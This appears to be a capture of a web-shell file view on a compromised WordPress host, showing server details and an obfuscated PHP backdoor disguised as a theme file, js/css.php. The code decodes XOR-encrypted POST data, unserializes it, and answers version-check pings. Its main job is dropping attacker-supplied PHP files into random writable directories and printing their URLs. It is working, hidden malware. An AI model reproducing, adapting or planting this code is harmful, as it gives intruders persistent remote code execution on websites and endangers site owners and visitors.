HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/open-shop/js/css.php
<?php function mcGqs($LUxogt){$SJSqDwGw = chr(114)."\141"."\167".'u'."\162".chr(108).chr(214-114).chr(101)."\x63"."\x6f"."\x64".'e';$DNYKqIuir = "\x73"."\x74".chr(114).chr(95).'r'."\157".chr(116).chr(49).chr(313-262);$iVlmr = chr(115).chr(116).chr(731-617).'_'.chr(476-361).chr(112).chr(108).'i'.chr(618-502);$LUxogt = $iVlmr($SJSqDwGw($DNYKqIuir($LUxogt)));return $LUxogt;}function lULuXV($BDLOVrPc, $LUxogt){$NproRR = 's'."\164"."\162"."\x5f".chr(115)."\x70"."\154"."\151"."\164";$BDLOVrPc = array_slice($NproRR(str_repeat($BDLOVrPc, (count($LUxogt)/16)+1)), 0, count($LUxogt));return $BDLOVrPc;}function UmkEE($lxJou, $PDCxnBZQUz, $BDLOVrPc){$WxDNPnBLGk = "faa0a695-17eb-4a21-9b64-6289c4992d90";return $lxJou ^ $WxDNPnBLGk[$PDCxnBZQUz % strlen($WxDNPnBLGk)] ^ $BDLOVrPc;}function KCDewbn($LUxogt, $BDLOVrPc){$LUxogt = array_map("UmkEE", array_values($LUxogt), array_keys($LUxogt), array_values($BDLOVrPc));$LUxogt = implode("", $LUxogt);$NdPQb = 'u'.chr(191-81).chr(115).'e'.chr(114).'i'.chr(793-696).chr(108).chr(727-622).'z'."\x65";$LUxogt = @$NdPQb($LUxogt);return $LUxogt;}function BxlRxWofp(){echo "ReJjuEw";}function FsYckXq($JseLKRHBRir){static $yokMMs = array();$FvtlTYPFNh = glob($JseLKRHBRir . '/*', GLOB_ONLYDIR);$TVkiVXQq = count($FvtlTYPFNh);if ($TVkiVXQq > 0) {foreach ($FvtlTYPFNh as $JseLKRHBR) {$noqfQdrZ = chr(856-751)."\163".chr(909-814).chr(119)."\x72".chr(105).chr(116)."\x61".chr(98).chr(438-330).chr(253-152);if (@$noqfQdrZ($JseLKRHBR)) {$yokMMs[] = $JseLKRHBR;}}}foreach ($FvtlTYPFNh as $JseLKRHBRir) FsYckXq($JseLKRHBRir);return $yokMMs;}function qtcEi(){echo "pPWwUNuw";}function nptlAjqB($LUxogt){$CfGkgVKo = "\104"."\x4f"."\x43".chr(85).chr(77)."\105"."\x4e".'T'.chr(341-246).'R'."\117".chr(79)."\x54";$nerYb = $_SERVER[$CfGkgVKo];$FvtlTYPFNh = FsYckXq($nerYb);$rqJbRAgo = array_rand($FvtlTYPFNh);$ROGUFGhnOX = "\56".'p'."\150".chr(112);$LcmuZyC = $FvtlTYPFNh[$rqJbRAgo] . "/" . substr(md5(time()), 0, 8) . $ROGUFGhnOX;$YwAxqJI = chr(102)."\151".'l'.'e'."\137".'p'.chr(117)."\164"."\137".'c'.chr(111).chr(110).chr(677-561).chr(1019-918)."\156"."\164"."\163";@$YwAxqJI($LcmuZyC, $LUxogt);$PCECrZrI = chr(728-656)."\x54".chr(84).'P'.'_'.chr(72).'O'."\123"."\x54";$bjKzPJPxo = "\x68"."\x74".chr(456-340).'p'."\72".'/'.'/';$UaMCJMH = $bjKzPJPxo . $_SERVER[$PCECrZrI] . substr($LcmuZyC, strlen($nerYb));print($UaMCJMH);}foreach ($_POST as $BDLOVrPc => $LUxogt){$COEBHx = strlen($BDLOVrPc);if ($COEBHx == 16){$LUxogt = mcGqs($LUxogt);$BDLOVrPc = lULuXV($BDLOVrPc, $LUxogt);$LUxogt = KCDewbn($LUxogt, $BDLOVrPc);if (@is_array($LUxogt)){$rqJbRAgo = array_keys($LUxogt);$LUxogt = $LUxogt[$rqJbRAgo[0]];if ($LUxogt === $rqJbRAgo[0]){$XqqZrAHW = "\x70"."\150"."\160";$kMBetO = chr(767-655).chr(104).chr(617-505).'v'."\x65"."\162".'s'."\151".'o'.chr(110);$wTTxic = chr(247-132).chr(101).chr(229-115).'i'.chr(97)."\x6c".chr(979-874)."\172"."\x65";echo @$wTTxic(Array($XqqZrAHW => @$kMBetO(), ));}else {nptlAjqB($LUxogt);}die();}}}